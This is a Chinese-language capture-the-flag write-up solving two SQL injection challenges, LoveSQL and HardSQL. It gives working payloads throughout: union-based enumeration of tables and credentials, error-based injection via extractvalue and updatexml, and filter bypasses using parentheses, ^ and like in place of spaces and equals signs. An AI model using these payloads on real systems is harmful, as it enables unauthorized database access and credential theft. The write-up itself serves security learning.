三.[极客大挑战 2019]LoveSQL 1
1.判断闭合方式:
账号输1,密码输:1',发现有语法报错。判断是单引号闭合
2.老方法,先试一下万能密码:
1' or 1=1#,得到:
3.采用常规的方式判断列数:
1' order by 1#
1' order by 2#
1' order by 3#
1' order by 4#
到4的时候报错,判断列数为3;
4.构造union查询语句:
1' union select 1,2,3#-----查看注入点
发现会返回2和3字段
1' union select 1,2,database()#----查询数据库名
可得数据库名字是geek
1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema = 'geek'#------查询表名
可得有两个表分别为geekuser,l0ve1ysq1
1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name = 'geekuser'#----查询表中列名
查询第一个geekuser表内的列名。得到id,username,password
1'union select 1,group_concat(username),group_concat(password) from geekuser%23----分别查询username,password两个列
发现和一开始没什么区别
没有flag
换另一个表查试试看
1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
同样得到id,username,password
1'union select 1,group_concat(username),group_concat(password) from l0ve1ysq1
成功获得flag!
注:翻阅了这个题目的相关writeup发现有些人会有写到有过滤%23和--+的,我做的时候是能正常用#的所以没有发现这个过滤,大家可以参考一下
四.[极客大挑战 2019]HardSQL1
1.判断闭合方式:
账号输1,密码输:1',发现有语法报错。判断是单引号闭合
2.尝试一下万能密码:
1' or 1=1#
报错相同,此时考虑一下是不是报错注入
知识点1(报错注入)
l error报错注入:
报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数.报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里主要记录一下xpath语法错误和concat+rand()+group_by()导致主键重复
xpath语法错误:利用xpath语法错误来进行报错注入主要利用extractvalue和updatexml两个函数
1. Extractvalue()函数:
extractvalue函数
函数原型:extractvalue(xml_document,Xpath_string)
正常语法:extractvalue(目标xml文档,xml路径)
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串,xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
作用:从目标xml中返回包含所查询值的字符串
id='and(select extractvalue("anything",concat('~',(select语句))))
查数据库名:
id='and(select extractvalue(1,concat(0x7e,database())))#
在爆表、列、值的时候用group_concat函数把查询结果分组聚合,然后用and xxxxx not in 'xxx','xxx'过滤掉前面回显的
爆表名:
id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:
id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:
id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
2. Updatexml()函数
函数原型:updatexml('XML_document','Xpath_string','New_value')
解释:updatexml('目标xml文件名','在xml中查询的字符串','替换后的值')
查询数据库:id=1' and (select updatexml(1,concat(0x7e,(database()),0x7e),1))#
查询表名:id=1' and (select updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit x,1),0x7e),1))#
查询列/字段名:id=1' and (select updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_schema=database() and table_name='users' limit x,1),0x7e),1))#
查询数据:id=1' and (select updatexml(1,concat(0x7e,(SELECT group_concat(user,0x3a,avatar) from users limit 0,1),0x7e),1))#
Limit x,1中x为任意值
l Xpath报错:
1 and extractvalue(1,concat(user(),0x7e,version()))#
1 and updatexml(1,concat(user(),0x7e,database(),0x7e,version()),1)#
4..尝试报错注入
先爆数据库,构造payload:
admin'^extractvalue(1,concat(0x5c,(select(database()))))#---由于空格被过滤了,所以采用^和括号绕过空格
知识点2(空格绕过)
括号绕过空格:
如果空格被过滤,括号没有被过滤,可以用括号绕过。
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
得到数据库
报表名:
admin'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))# ---等于号过滤
知识点3(等于号绕过)
=绕过:使用like 、rlike 、regexp 或者 使用< 或者 >
爆表中列名:
admin'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#
爆password数据:
admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))#
有flag出现,但可见flag不是很全,采用使用{left(),right()}:
知识点4(left()和right()函数)
在SQL注入中,LEFT()和RIGHT()函数是用于从字符串的左侧或右侧提取指定长度的字符.第一位为字符串,第二位为提取字符串长度
admin'^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))#
得到左半边的flag:
flag{2f8ac640-c948-4c6b-a2a7-6
admin'^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))#
得到右半边的flag:
0-c948-4c6b-a2a7-662587c22007}
拼接一下(重合部分得去掉)
flag{2f8ac640-c948-4c6b-a2a7-662587c22007}
注意:语句中0x7e0x5c分别表示~和\
成功获取flag!